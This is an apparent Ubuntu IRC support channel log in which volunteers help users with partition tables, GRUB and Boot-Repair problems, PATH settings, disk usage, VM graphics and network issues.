dr_willisasdff:  update/upgrade/distupgrade should be safe - Upgradeing to the next RELEASE may be a problem02:07
mega1is there a command to see whos using the ftp when they loged in, on ubuntu server 12.0402:07
escottcagrijost, you should NOT have a gpt table that is empty02:07
escottcagrijost, ubuntu is entirely in the right claiming that disk is blank02:07
psusiescott, actually, it isn't...02:08
escottcagrijost, i imagine "sudo fdisk -l" will show your windows partitions02:08
cagrijostescott: but any disk partition application on windows says otherwise02:08
costinhow do i find out where an application in launcher has its icon?02:08
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psusiescott, if a fresh MBR has been placed on the disk with "normal" partitions on it, the gpt is invalid and should be ignored... earlier versions of parted were buggy in this regard02:08
dr_williscostin:  its  defined in the apps .desktop file02:08
dr_williscostin:  ie:   gedit.desktop02:08
psusicagrijost, what did parted -l show? I only saw one pastebin link and it was edited to only show your flash drive02:09
escottpsusi, if you are putting an msdos table on the disk you should clear the gpt02:09
costindr_willis: it doesn't have a desktop file02:09
costindr_willis: i'm really intrigued where it got this icon02:09
cagrijosthttp://paste.ubuntu.com/1695527/02:10
elisa87dr_willis is sample.o considered to be an application in Linux? gcc sample.c -o sample -lm02:10
psusiescott, maybe, but you don't have to... the EFI standard says if there isn't a type ee protective partition listed in the MBR, you ignore any gpt02:10
costindr_willis: the application is drawterm02:10
asdffi wonder why when i open my laptop monitor up polkitd comes and makes my 2h battery times 45 minutes, everytime. iv read rm -rf .pulse and .dbus would fix but not here02:10
asdfftaking up all the cpu usage02:10
b35uhi all -- anyone familiar with ubuntu installations in virtualbox?02:11
cfhowlettb35u, yes.02:11
Fishsceneb35u: Is there a specific question you had?02:11
escottpsusi, alright02:11
b35uos x host, installed 12.10 64-bit mostly without issue.  uninstalled due to sluggish x interface, heard 12.04 would be better.02:12
escottcagrijost, in any case what you need to do is straightforward and annoying. install gdisks to start. zap gpt, convert mbr to gpt, add a grub_bios partition, install ubuntu02:12
danielboston26has anyone tried out ubuntu for nexus 7?02:12
jagginessanyone want to try a potential issue (bash), "le" starts up with "fc" (an internal bash command), there's nothing binded to fc ("type fc<enter" nothing, which fc, ) , however "fc -l" works as expected..   > issue is typing "fc<enter>" starts up the 'le' editor with 'fc text on the buffer.. lol02:12
psusiescott, that's probably going to break his windows02:12
cfhowlett!tablet|danielboston26,02:12
ubottudanielboston26,: The Ubuntu tablet can be discussed in #ubuntu-tablet or #ubuntu-discuss, please remember that #ubuntu is for support only.02:13
escottpsusi, no it wont02:13
cagrijostescott: wouldnt that delete my win8?02:13
pooltablewhat is g3d mards on grafix card?02:13
escottpsusi, done it many times02:13
pooltablemarks02:13
cfhowlettb35u, lagginess?  ram ... more ram, less lag02:13
escottcagrijost, only problem it might cause if if your uefi decides to change the boot mode from bios emulation to efi boot02:13
b35uwell, the issue is with the 12.04 install -- after installation finishes, i get the low-graphics mode error, which is fine, but i can never get the CLI to load at all.02:14
b35ucan't do an apt-get update, can't install guest additions.02:14
escottpsusi, and if he doesn't do it he is wasting 0.80TB of his disk02:14
cfhowlettb35u, boot into text mode?02:15
psusiescott, so fdisk shows his working windows partition but parted shows a valid, but empty gpt?  that is very odd02:15
cagrijostescott: i got the disk split in 2, so i get the 0,80 TB :b02:15
b35ucfhowlett, not sure how through virtualbox... would love to try02:15
escottcagrijost, split in two?02:16
pooltablewhat is g3d marks on grafix card?02:16
Sir_LetoAnyone know how I would fix this? I installed xubuntu on a parition on my second hard drive, but the MBR wasn't over written02:16
cfhowlettb35u, see   http://askubuntu.com/questions/92276/how-do-i-boot-into-true-text-mode02:16
Sir_Letoso when I try to boot that drive, the old windows boot options show up even though windows isn't on that drive02:16
escottcagrijost, maybe that is your problem if you are doing something exotic with the disk02:16
cfhowlettSir_Leto, you have to tell grub where the bootable disk is  then run sudo update-grub02:17
cagrijostescott: so, the plan is: move everything from my 0,8tb drive to the 2,2. and then convert?02:17
psusiescott, I assume he means partitioned.  technically MBR can have a partition that starts just before 2TB, then runs for another 2TB to get nearly 4 TB02:18
cagrijosthmm02:18
cagrijostits like a c and d drive02:18
elisa87dr_willis how can I find the package where mpirun is there mpirun hpcrun -t -e RETCNT -e WALLCLOCK@1 sample.o02:19
costinhow do i get the desktop file corresponding to a launcher icon?02:19
cagrijostescott && psusi: (dont know if that work) i can browse the 2.2 part of my harddisk on ubuntu, if that clears anything up02:19
escottpsusi, i've never heard of that and fdisk does not show that02:20
psusicagrijost, where is the parted -l output?02:20
escottcagrijost, psusi end of sda2 is at 4294967295*512/1000/1000/1000/1000=2.19902TB02:20
elisa87dr_willis do you think this would help me ? for mpirun? sudo aptitude install mpich-bin mpich-mpd-bin mpich-shmem-bin libmpich1.0-dev02:21
escottcagrijost, psusi you are only using 4.... out of the 5860533168 sectors on sda02:21
cagrijostpsusi: http://paste.ubuntu.com/1695527/02:21
Tellmarchcagrijost, is the other partition hidden somehow?02:22
Spec[x]Hi. Anyone know how I can tell which protocol my wireless connection is using? (802.11 g vs n..etc) ?02:22
kaushalHi02:22
Sir_Letocfhowlett: Would just changing the drive flags in gparted work?02:23
kaushalAre there any project planning software available in Ubuntu?02:23
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cagrijosttellmarch: i don't know why linux wont see it.  when i installed win 8, i forgot about my 3.0 tb, so i formatted it as MBR. then i found out later, and used a partition program to somehow make another disk with the unallocated space02:23
cfhowlettSir_Leto, only 1 bootable drive and that's where grub should be installed ... yes02:23
Tellmarchdid you check a "hid partition" option in that partition program? :p02:23
Tellmarchhide*02:23
cagrijostits not hidden :b02:23
kaushalfor example divide the entire project and plan and assign it to specific people02:23
cagrijostit works fine on win8, and i checked it to see if it was hidden, and it wasnt02:24
escottcagrijost, its not visible to us. there are two partitions using only 2.2TB of the 3TB disk (as expected)02:24
Sir_Letoalso, can I shrink my ext4 partition? I didn't want to make swap partition at the time, but then I thought I might need it.02:24
colonelqubitHow can I determine what protocol my printer driver is using to communicate? If choose "HP LaserJet 4 Plus - CUPS+Gutenprint v5.2.8-pre1" -- is that a postscript driver?02:24
Tellmarchcagrijost, i guess it's because you used GPT?02:25
psusicagrijost, that is the fdisk output, not parted... and yea, it does only show 2TB used02:25
Sir_LetoI guess not, there isn't an option in gparted02:25
Tellmarchhave you tried seeing the partitions in linux with gparted ?02:26
escottTellmarch, it will show the parted output which is an empty gpt table02:26
jagginesscagrijost, shows how to partition drive as GPT (and without using EFI bios -- because you need a special grub partition for GPT) https://www.youtube.com/playlist?list=PLkjr4l5aFdzqOQPtvX6VtXdSFpxWWWrR-02:26
mogajI am using ubuntu 12.10 ... am not able to change desktop backhround! when i try to right click and choose change background i am shown system settings not an option to change background ... what should i do to change background?02:27
pooltablelooking for a good grafix card compre web site ???02:27
cfhowlett!hardware|pooltable,02:27
ubottupooltable,: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport - To help debugging and improving hardware detection, see https://wiki.ubuntu.com/DebuggingHardwareDetection02:27
ubuntu_userhow to find the public ip address of ubuntu machine?02:28
frostb1teAnyone know why my HDMI isnt working02:28
Sir_Letoifconfig?02:28
Sir_Letoubuntu_user: ifconfig?02:28
frostb1teif someone is willing to help ill send them my results from lspci | grep VGA02:28
cfhowlettubuntu_user, whatismyip.com02:29
ubuntu_userifconfig -a displays private IP.02:29
ubuntu_useri need from command line02:29
frostb1teI might just go back too windows :(02:29
psomodiHi, anybody with experience in openchrome video driver?02:29
luckybunnywhy would you do something so silly?02:29
Spec[x]ubuntu_user: the machine you're currently on?02:30
frostb1teI cant get my hdmi working02:30
luckybunnyfrostb1te: have you installed the driver for your gfx card?02:30
frostb1tei tried02:30
frostb1tesaid xserver is already being used02:30
frostb1tei followed like 20 instructions and none worked02:31
cagrijostlet me find a screenshot from the install02:31
luckybunnyhmm02:31
ubuntu_userSpec[x], some remote machine02:31
luckybunnywas one of those instructions to go to software sources and hit 'additional' drivers?02:31
ubuntu_userit is a headless server and i need the remote ip address on that ubuntu machine02:31
Spec[x]ubuntu_user: you could sign onto irc and do /whois, or you could wget a website like 'whatsmyip.org'/etc02:31
Spec[x]ubuntu_user: or you could wget a different webserver and tail logs...etc02:32
cagrijostjagginess tellmarch psusi escott: http://imagebin.org/24751002:32
nargitWhen you do apt-get update, does it download all package info or only new packages or packages with a newer version?02:32
mogajI am using ubuntu 12.10 ... am not able to change desktop backhround! when i try to right click and choose change background i am shown system settings not an option to change background ... what should i do to change background?02:33
cagrijostand here's one where it says it didnt see the partition:02:33
cagrijosthttp://imagebin.org/24751102:33
Tellmarchwhat program did you use to create the partition?02:33
csehlwhat does "Device for bootloader installation" mean in the graphical 12.10 installation? Is that the location that grub will be installed to or ubuntu will be installed to?02:34
cagrijosthttp://www.partitionwizard.com/landing-page.html?gclid=CPTF18euxrUCFQF8cAodnmEAxQ02:34
psusicagrijost, that's nice, but where is the parted -l output?02:34
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cagrijosthttp://paste.ubuntu.com/1695711/02:35
luckybunnyguys I'm having some weirdness. I attempted to download something too big for my /home partition today. I stopped doing that, then deleted about 30GB of other stuff, and emptied all my rubbish bins and the trash folder.... now I suddenly have no space02:35
newbrictI have an error with chromium, when i try to open it i get "no protocol specified" could someone help me fix this?02:35
psusicagrijost, then yea, you originally set up MBR, which isn't using the whole disk, and that program just stupidly added a useless, empty, invalid gpt02:36
frostb1teAnyone good with computers and fixing stuff here lol02:36
cagrijostpsusi: so i guess its a fresh windows reinstall and then ubnutu?02:37
Tellmarchi'd format the whole disk first :p02:37
cagrijostpsusi: or can i save it by deleting the disk02:37
psusicagrijost, you can try using gdisk to zap the bogus gpt, and convert the mbr to gpt like escot said02:38
escottcagrijost, worst case if windows doesn't boot because it doesn't like to have a bios boot on a gpt disk you can just make it a hybrid02:39
cfhowlettluckybunny, clean out your cache??  apt-get clean  and maybe apt-get autoremove02:40
escottcagrijost, but don't use windows partitioning tools anymore02:40
luckybunnydone already02:40
cfhowlettluckybunny, reboot ...02:40
luckybunnyinterestingly, disk usage analyser says I'm full, system monitor says I'm full, and nautilus says I have about 100GB free (but 0 bytes available)02:41
luckybunny"75,664 items, totalling 141.5 GB" when the partition is about 300GB like 300GB02:42
escottluckybunny, there are lots of ways applications can miscount. "df -h" gives the most reliable answer on most filesystems02:43
rj1hi...does anyone here know why my firefox can't open a phtml file?02:43
luckybunnythat's even more confusing02:44
escottluckybunny, since nautilus is counting items then it is more likely to be wrong (you cannot count files you cannot access so thats one source of error)02:44
luckybunny"/dev/sdb1       294G  279G   44K 100% /home"02:44
cagrijostokay, thanks for the help guys. ill try to see if deleting the disk will work. and if that doesnt work then its gdisk :b02:44
escottluckybunny, thats a full disk (5% is reserved for root with an ext-series filesystem)02:44
cagrijostbtw02:45
cagrijostwhat is gdisk?02:45
escottluckybunny, that leaves 95% of 294GB which is 279GB02:45
escottcagrijost, a tool for working with gpt partitioned disks. http://www.rodsbooks.com and looking at stuff online it looks like you would need a hybrid table02:45
ekaj#LXDE isn't too active - would someone be willing to help me troubleshoot the LXDE Gui? After I type the password to log in, I press enter, and the screen goes blank for a few seconds before taking me to the login prompt again. According to this guide ( http://forum.lxde.org/viewtopic.php?f=1&t=1701 ) I should delete /etc/pam.d/lxde but that file does not exist. /etc/pam.d/lxdm, however, does. Should I delete the LXDM file, or is there something else I can02:46
ekajdo?02:46
escottcagrijost, alternately you could try a uefi boot of windows 8 on a gpt disk which brings in a different set of issues. i would go hybrid and never ever use a windows partitioning tool again in my life02:46
cfhowlettekaj, can you login with a different DE?02:47
ekajNope02:47
Fishsceneekaj: Try renaming that file to something like *-backup and then try.02:48
cagrijostescott: what do you mean by going hybrid02:48
Tellmarchcagrijost, buy a SSD drive, and install everything on it. you won't need to worry about GPT :p02:48
cagrijosttellmarch: how much is a 3tb ssd?02:48
Tellmarchnah, you buy a 128 SSD just for the system, and use the 3TB for data/programs02:48
FishsceneLOL02:48
Tellmarchfor 70$ you'll have a much faster computer :-)02:49
cagrijosti know ssd is better, but my ubuntu wont recognize my 3tb, so why would that make a difference02:49
cagrijostif i had an aditional 128 gb ssd or not02:49
Tellmarchthe problem isn't the hard drive, it's the way it's formatted02:49
ekajFishscene, : I get mv: cannot move 'lxdm' to 'lxdm-backup': Read-only filesystem... I had this error before (I think) when trying to wipe passwords, and I had to mount /, but I don't remember the syntax for the command - would you happen to?02:50
cagrijostanyways02:50
Tellmarchfor 3TB hard drive, you normally need GPT, but windows won't boot on GPT without needing additional things, which is trouble02:50
cagrijostthanks for the help guys02:50
Tellmarchthe problem is on windows side ^^02:50
joeytwiddleis the "group windows" feature no longer available in compiz?02:51
Tellmarchcagrijost, and yeah, my answer to buy a ssd was kinda a troll, sorry about that02:51
escottcagrijost, the table would have the existing msdos partition table and a matching gpt table that has the extra partitions for linux. when you boot ubuntu it will use the gpt and ignore the bios, when you boot windows it will ignore the gpt and use the msdos02:51
joeytwiddleekaj: have a look in /var/log/Xorg.log or any x log files in /tmp or ~02:51
joeytwiddleekaj: oh sorry.  try mount -o remount,rw /02:52
ekajDid the trick, thanks, going for a reboot now02:52
savagecrocwhat's an easy way to encrypt a file on ubuntu?02:53
savagecrocsorry a directory02:53
savagecrocpreferably with checksum02:53
jagginesscagrijost, did you see the gpt howto link?02:54
ekajStill didn't work -.-02:55
dwarderguys, am i understand right i just vi /etc/crontab then save it and it works?02:56
ekajUninstall I guess?02:57
dr_willisshould  but you need sudo rights02:57
dr_willis!cron02:57
ubottucron is a way to schedule execution of software/scripts. See https://help.ubuntu.com/community/CronHowto02:57
joeytwiddledwarder: i always thought you should use crontab -e, to ensure he knows to re-read the file02:58
raji need help writing a gedit script02:58
psusij02:58
dr_willis!details02:59
ubottuPlease give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."02:59
ekajjoeytwiddle: Any further ideas?02:59
rajI'd like to write a script that indents highlighted text 2 spaces02:59
michael___Hi anyone here use dwm that can offer a little help02:59
joeytwiddleekaj: identify the problem.  is the drive still read-only.  any error messages in those X log files?03:00
sammuchann sudo add-apt-repository ppa:ubuntu-mozilla-daily/firefox-aurora03:00
rajwhatcha got for me doc ;)03:00
sammuchannoops ment to put that in my other terminal03:00
ekajXorg.0.log is where I should be looking?03:00
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dr_willisi use vim. dont recall gedit being scriptable or having macros03:01
dr_willisgeany might.03:01
rajit does03:01
raj"external scripts"03:01
ekajOhh lxdm.log...03:01
ekajI mean, I don't see anything that says "error"... main;y Message" user 0 session .... cmd USER_LIST, Message: quit code 0, message: exit cb. That's about the extent of the los03:02
ekajand free session03:02
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Jacob_I'm trying to install Ubuntu 12.04.2 on my desktop03:04
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Jacob_I already have Windows 7 and a partition ready for Ubuntu03:05
rajis it worth updating gedit to 3?03:05
Jacob_but after installing Ubuntu on the blank partition it won't boot03:05
sammuchannuse pluma its better imo03:05
Sir_LetoWill steam work with the default open source amd drivers in 12.10?03:05
Sir_LetoMy card is now considered legacy03:05
Sir_Leto(radeon HD 4670 HD)03:06
Jacob_It gives me an error message that says "Unable to find a medium containing a live file system"03:06
joeytwiddlei can only have 1 wallpaper for all 12 desktops?  i don't get why Ubuntu made Compiz worse :-p03:06
sammuchannAre you installing ubuntu just to get tux in game?03:06
Jacob_no, I want ubuntu for several reasons03:07
Jacob_I already have it on my laptop03:07
Jacob_just an older version of it03:07
ubuntu_userThe command could not be located because '/sbin' is not included in the PATH environment variable.03:07
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ubuntu_userhow to add /sbin to PATH variable03:07
savagecrocso encrypting directories anyone?03:07
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dr_willistf2 ran on the noveau drivers here.. barely.  got my tux.03:08
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TellmarchSir_Leto, I had to install the latest proprietary drivers, steam didn't want to run without them03:08
dr_willisubuntu_user: its in the default path.03:08
dr_willis!path03:08
sammuchannLol its funny going online there is a bunch of people that cant figure out how to install a linux distro and are doing it just to get tux.03:08
dr_willisand they dont know what tux is.....03:09
dr_willisits not a tuxedo suit.....  ;-)03:09
Jacob_I've installed and re-installed ubuntu 12.04.2 3 times now!03:10
blackshirt!find manpages03:10
ubottuFound: manpages, manpages-dev, asr-manpages, csound-manpages, erlang-manpages, freebsd-manpages, funny-manpages, gmt-manpages, manpages-de, manpages-de-dev (and 20 others) http://packages.ubuntu.com/search?keywords=manpages&searchon=names&suite=quantal&section=all03:10
Jacob_it still won't boot up after I installed it03:10
blackshirt!find manpages-id03:11
ubottuPackage/file manpages-id does not exist in quantal03:11
blackshirt!find man-pages-id03:11
ubottuPackage/file man-pages-id does not exist in quantal03:11
Bray90820 on my dell insperon duo netbook every time i plug or unplug the charger i get a kernel panic03:12
TellmarchJacob_, you need more than one partition for ubuntu... do you mean you have some empty space on the hard drive (without partition)?03:12
Jacob_yes, i have plenty of empty space for it03:13
Tellmarchand you just tell the installer to use it?03:13
Jacob_and I believe ubuntu created 2 partitions when it installed03:13
ubuntu_userif i ran export PATH=/sbin03:13
Jacob_a swap partition and an ext403:14
Jacob_am i missing a partition?03:14
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dr_willisubuntu_user:  your path  would ONLYU be that directory  then03:14
ubuntu_userwill it change the path varibles for already set PATH03:14
TellmarchJacob_, no, it should be ok...03:14
Jacob_well, it won't boot up ubuntu when I restart03:14
teJacob_: Only if you wanted separate /home/03:14
ubuntu_userhow to add /sbin to PATH then without changing the already $PATH03:14
Sir_LetoTellmarch: the newest drivers aren't compatible03:15
dr_willisubuntu_user:  it will only change the path for that shell and any child/spawned shells.03:15
Sir_Letoso I have to downgrade x.org?03:15
Sir_Letoand install the old propitary drivers?03:15
dr_willisubuntu_user:  export foo=$foo;newpaths/added;here/03:15
teJacob_: Did you allow grub to be written to MBR of the drive that the PC boots to?03:15
dr_willisubuntu_user:  theres examplkes of this  in the users .profile and .bashrc files03:15
Jacob_u mean the hard drive for the boot loader?03:16
dr_willisubuntu_user:  and is covered by  most bash guides/tutorials03:16
Sir_LetoJacob_: also check to see if the parition ubuntu is installed to has a boot flag03:16
Jacob_it's the same hard drive as the windows boot is in03:16
dr_willisare paths ; seperated or : seperated..  i forget.03:16
teJacob_: What do you mean "it wont boot up"03:16
dr_willisecho $PATH should show how its supposed to look03:16
Jacob_at first it never gave me the option to boot ubuntu03:17
dr_willispaths are : seperated. my  mistake. ;)   not ;03:17
TellmarchJacob_, what did you do then?03:17
teJacob_: Was it the normal screens that boots to MS Windows?03:18
dr_willis$PATH=$PATH:/new/dir/to/add:/another/dir/to/add03:18
Bon-chanlmms users here?03:18
Jacob_yes, the screen that just normally boots to windows03:18
Jacob_never gave me the option to boot ubuntu03:18
Jacob_do i need to change the mount point of any of my partitions?03:19
Tellmarchwhen do you see the error message that you said then ? "Unable to find a medium containing a live file system"03:19
Jacob_when i try booting ubuntu03:19
teJacob_: You apparently failed to tell grub to write to the MBR of the main drive.03:19
Tellmarchhow are you trying to boot it?03:19
Jacob_what I did after it wouldn't give me the option of booting ubuntu normally is that i clicked on the iso image for ubuntu in windows and had it put that boot option for installing cd03:20
Tellmarchuh03:20
Bray90820on my dell insperon duo netbook every time i plug or unplug the charger i get a kernel panic03:21
dr_willisBray90820:  you still got apci disabled?03:21
teJacob_: Not sure I understand that last statement.03:21
Bray90820no03:21
teJacob_: See: https://help.ubuntu.com/community/RestoreGrub03:22
Bray90820i dont really think disabling ACPI is the way to go03:22
TellmarchJacob_, you could try https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows#Using_the_Ubuntu_CD_.28Recommended.2903:22
PatmanWhen I am copying files to or from the server the downloads start out at 100MB per sec…03:23
PatmanWhen the file (no matter how large) hits the half-way point the process slows down to 12.8 MB03:23
Patmanwin7 to samba on Ubuntu 12.0403:23
eN_Joy'top' shows 1 stopped process, how do i find that process? thanks03:24
Bray90820dr_willis were you the one i was talking to about 16 hours ago03:24
teJacob_: Is it a UEFI system?03:24
Jacob_what does the error message "Unable to find a medium containing a live file system" mean?03:25
Jacob_not UEFI, just regular BIOS03:26
dr_willisBray90820:  i just rember you having all sort  sof issues on a convertable netbook.  ;)03:26
TellmarchJacob_, i don't understand *when* are you seeing this message03:26
Tellmarchif you have no option to boot ubuntu03:27
Bray90820so you didn't tell me to try a boot flag03:27
dr_willisBray90820:  nope. I  rarely mess with apci any  more.03:27
Jacob_i see that message when I try to boot up ubuntu03:27
Jacob_before ubuntu finishes loading03:27
Tellmarchso you have a grub menu at boot?03:27
Bray90820alright03:28
TellmarchJacob_, when you power on your computer, you have the grub menu, asking you to choose between ubuntu and windows?03:28
Jacob_yes, i do have the grub menu now03:28
Jacob_but after selecting ubuntu it gives me that error message03:28
Tellmarchwell it's not doing its job properly anyway... so the links we gave you to repair it should still be valid i guess03:29
Tellmarchdid you try?03:29
dr_williscontaingig a live filesystem.. sounds like a message from a Live-usb setup03:29
Jacob_try boot repair? not yet, i'm about to do that before re-installing ubuntu again03:29
dr_willisJacob_:  how exactly are you  installing? booting a cd/live usb?03:29
lvlephSo all of a sudden I cannot connect to my website hosted on my Ubuntu machine. I can't even get there through 127.0.0.1 Not sure what is going on.03:29
teJacob_: What type of PC is it?  (Processor, RAM, form-factor...)03:29
Jacob_i boot cd/dvd03:30
lvlephsudo service apache2 restart didn't help03:30
teJacob_: The CD boot up and runs ok?03:30
lvlephsaid ok but still can't connect03:30
Jacob_intel core i7 3.07GHz, 16GB RAM, nVidia Geforce GTX 560 Ti 2GB03:30
Jacob_yes, cd boots fine03:30
dr_willisJacob_:  id try out boot-repair - it sounds like yoru  grub settings are goofed somehow03:31
Jacob_ok03:31
Jacob_thanks03:31
Jacob_i'll let u know if that works after i try it out03:31
Bray9082016gb that's a LOT of ram03:31
Jacob_future proof =D03:31
Bray90820like 30 years lol03:32
Bray90820i have had a computer since like 2003 and it has 2gb ram works perfectly fine03:33
teJacob_: https://help.ubuntu.com/community/Boot-Repair03:33
TellmarchJacob_, some people have had this message because of a bug on a asus motherboard it seems... if the boot repair doesn't work, maybe that's something to consider?03:33
traptorthe computer I'm currently on is a p4 with 1Gb ram and runs just fine. That's whats great about linux.03:34
Jacob_yes, i think my motherboard is most likely asus03:34
danielboston26i need help03:34
Jacob_can't exactly remember, since i built it about a year ago03:35
danielboston26ive installed updates for ubuntu 12.10 rebooted now the desktop is gone when it reboots its just a black screen03:35
Jacob_I like high end specs, cuz I play high end games03:35
danielboston26the sidebar is there but if i click anything when i think the program launches i don't see anything03:35
TellmarchJacob_, though they have the issue when booting on the live CD... it's strange that you can do that and get the message when booting the hard drive instead...03:35
danielboston26ive reinstalled xserver and that didn't seem to fix it03:35
danielboston26is there a bug with a update to xserver?03:36
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danielboston26can someone help?03:37
teTellmarch: I think that somehow during Jacob_'s install, grub detected the wrong partition for the root filesystem.03:37
dr_willishmm.. my somewhat old system now.. seems to play  most every  game out fine.. sort of hard to  justify a 1500$+ pc for games these days03:37
danielboston26does anyone know the issue?03:39
Tellmarchdr_willis, i have a i7 processor with GTX 560 too, 8GB ram and 2TB hard drive, it cost me 800... and it *is* nice to have a good processor etc. when running apps :-)03:39
danielboston26is there a bug with a update that is causing thsi?03:39
teJacob_: Try taking the CD out and then boot.03:40
Jacob_i've already done that before several times03:40
Jacob_right now it's installing the boot repair03:40
traptordanielboston26: did you originally have to install proprietary driver. If so It may need redone.03:40
danielboston26traptor: no03:40
dr_willisTellmarch:  about the same as my 1.5+ yr old system.. only  got a lower end video card. GTS 320 i think. its a bottom end nvidia  card these days. but i   would have to upgrade my PSU if i got a bigger card.. or find a new card that dosent use a lot of powar03:40
teJacob_: Ok.  Good.03:40
danielboston26traptor: im installing ubuntu in a vm03:40
traptorYa VM's I know NOTHING about. All my pc's are linux (crunchbang) sorry.03:41
danielboston26traptor: its weird how i see the sidebar and menu bar but no other gui item03:41
dr_willisdanielboston26:  in a vm, you may wan tto use Lubuntu for your desktop. Unity may  to graphics intenssive03:41
TellmarchJacob_, while you're here, could you copy the output of "cat /proc/partitions" to a online paste?03:41
danielboston26dr_willis: how do i switch?03:42
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dr_willisdanielboston26:  sudo apt-get install lubuntu-desktop and select lubuntu  at the login screen03:42
Jacob_from the terminal?03:42
Tellmarchyes03:42
Tellmarchjust to check later in grub if it doesn't use the right one...03:42
danielboston26dr_willis: but when i first installed ubuntu it worked03:42
danielboston26only broke when i rebooted after updates03:43
Jacob_u mean copy and paste it to here?03:43
Jacob_or somewhere else?03:43
Tellmarchto http://paste.ubuntu.com/03:43
dr_willisdanielboston26:  lubuntu  woll be quicker in  a vm.   You  using vbox or vmware  or what?03:43
Jacob_ok03:43
danielboston26dr_willis: parallels03:44
ubuntu_userhow to find whether USB is attached to the my ubuntu from command line?03:44
AlexandreMBMHello! I want to know about PolicyKit and ConsoleKit. Anyone?03:44
dr_williscould be some new quirks/bugs with that vm. ive never used it..  havent  really heard about  it in ages..03:44
AlexandreMBMubuntu_user, lsusb03:44
dr_willisi  tend  to use vbox03:44
teJacob_: And then, show us the URL03:45
danielboston26dr_willis: idk but as i said it worked fine till i applied updates but if there was a bug in a update everyone should be having problems03:45
danielboston26maybe its a update and w/e driver parallels is using03:46
dr_willisdanielboston26:  unless it only affects parrels.03:46
danielboston26thats causing it03:46
Jacob_paste.ubuntu.com/1696215/03:46
danielboston26dr_willis: ya thats what im saying03:46
dr_willisi rarely  see people in here using Parrells..03:46
danielboston26if this doesn't work ill try virtualbox03:46
dr_willisi cant even recall the last time  i saw it mentioned  in here..  or anyuwhere else actually03:46
danielboston26dr_willis: its the big vm on the mac03:47
TellmarchJacob_, oh you have 3 disks?03:47
danielboston26dr_willis: also they have spoty linux support in the past03:47
Jacob_yep03:47
Tellmarchdo you know on which one did you install linux?03:47
danielboston26dr_willis: i would assume not a lot of mac users wanting to run linux03:48
dr_willisi see people wanting to  install linux to their macs all the time in here.03:48
danielboston26dr_willis: oh cool03:48
histo!mac | danielboston2603:49
ubottudanielboston26: For help on installing and using Ubuntu on a mac, see: https://wiki.ubuntu.com/MactelSupportTeam/CommunityHelpPages03:49
RiXtErAnyone have an ETA on the Ubuntu Phone OS ?03:49
DJAteste03:49
danielboston26dr_willis: i have a newer mac that ubuntu was having issues supporting03:49
histo!phone | RiXtEr03:49
ubottuRiXtEr: Ubuntu for phone has been announced, see http://www.ubuntu.com/devices/phone to find out more and to sign up for progress updates. Discussion is in #ubuntu-phone03:49
dr_willis!phone | RiXtEr03:49
RiXtErThanks guys!03:49
danielboston26RiXtEr: it was announced today03:49
Jacob_how long does it normally take for boot repair to install?03:49
danielboston26RiXtEr: you might check xda to see if anyone is hacking around with it03:50
Jacob_it's taking an eternity right now03:50
dr_willisI just dont see the point in having a mac. ;)   but i dont want to sound mean. ;P03:50
dr_willisthe boot repair package is fairly  small. shouldent take more then a few min.03:50
TellmarchJacob_, I've never seen it take a long time...03:50
dr_willisi wish  they would include it by default on the live dvds03:50
danielboston26huh still not working.it must be some parallels bug03:51
danielboston26nothing new03:51
Jacob_well, for some reason boot repair won't install03:52
Jacob_i've followed the instructions on that webpage03:52
dr_willisthere is a custome boot-repair iso you  can download and try03:52
TellmarchJacob_, you clicked on "recommended repair", and it didn't work?03:52
isaias__testing03:53
dr_willisisaias__:  10-4 over and out.03:53
isaias__anyone get this?03:53
Jacob_apparently boot repair didn't even install03:54
Jacob_i tried twice03:54
dr_willisJacob_:   via the  terminal?03:54
dr_willisany errormessages? could  be the ppa is down or somthing03:54
Jacob_yep03:55
histoJacob_: kind of hard for people to help if you don't give details or tell us the errors03:55
histo!details | Jacob_03:55
ubottuJacob_: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."03:55
Jacob_i can copy and paste the messages on the terminal03:56
Jacob_one second03:56
packetfrog!paste Jacob_03:56
packetfrogoops03:56
packetfrog!help03:56
ubottuPlease don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience03:56
Jacob_paste.ubuntu.com/169630003:57
cexpert1All: Anyone know a good resource for PHPMailer?03:59
TellmarchJacob_, you have a program installing packages running apparently03:59
Tellmarchmaybe the main installer?03:59
histoJacob_: lsof /var/cache/apt/archives03:59
yazrisalthis morning my network working as usual, but after connecting to Wifi and failed, I can't connect to my wired network anymore, it keeps like searching and identifying something but still always failed. I'm on Ubuntu 12 LTS anyone can help me?04:00
dr_willisyazrisal:  so both wired and wireless are failing?04:00
yazrisalno just wired, i do not use the wifi anymore now04:01
cexpert1yazrisal: Which chipset?  Some Intel chipsets you have to disable the "N" mode.04:01
yazrisalhow to detect it?04:01
Jacob_lsof: WARNING: can't stat() tmpfs file system /cow04:02
cexpert1yazrisal: "lshw"04:02
dr_willisyazrisal:  so you are using wired networking then. Not wireless..  does ifconfig show you an eth0?04:02
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yazrisalim using Toshiba Satellite L645 which using Intel Core i3 Processor04:02
Jacob_Output information may be incomplete.04:02
yazrisalhow to execute command lshw here in the XChat windows?04:02
yazrisali mean to get the output04:02
cfhowlett!paste|yazrisal04:03
dr_willisyazrisal:  paste the output to a pastebin site not here04:03
ubottuyazrisal: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.04:03
histoyazrisal: don't do it here.04:03
yazrisalyes my eth0 is detected04:03
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yazrisalalright wait04:03
dr_willisyazrisal:  does it  have an ip address? if so what address?04:03
yazrisalnope, i set it to automatic04:03
yazrisalso i don't know04:03
histoJacob_: Some other application is trying to install software at the same time or is open. Like software center, update manager, etc...  CLose all those then install boot repair packages04:04
cexpert1yazrisal: I have Acer Aspire with Intel Chipset.  We had to install KDE as Gnome does not support the chipset and had to disable "N" mode for the wireless to work.  Working good and solid now for 6 months.  Talking via that right now!04:04
dr_willisifconfig should show its ip  address.. if it has one04:04
dr_williscexpert1:  hes using the wired networking. ;)04:04
Jacob_neither the software center or update manager r open04:04
dr_willisand i dont see how what yousaid is possible cexpert1 .. its the kernel/drivers  that support the chipset.. not  KDE/Gnome.04:04
yazrisalhow to disable that "N" mode?04:04
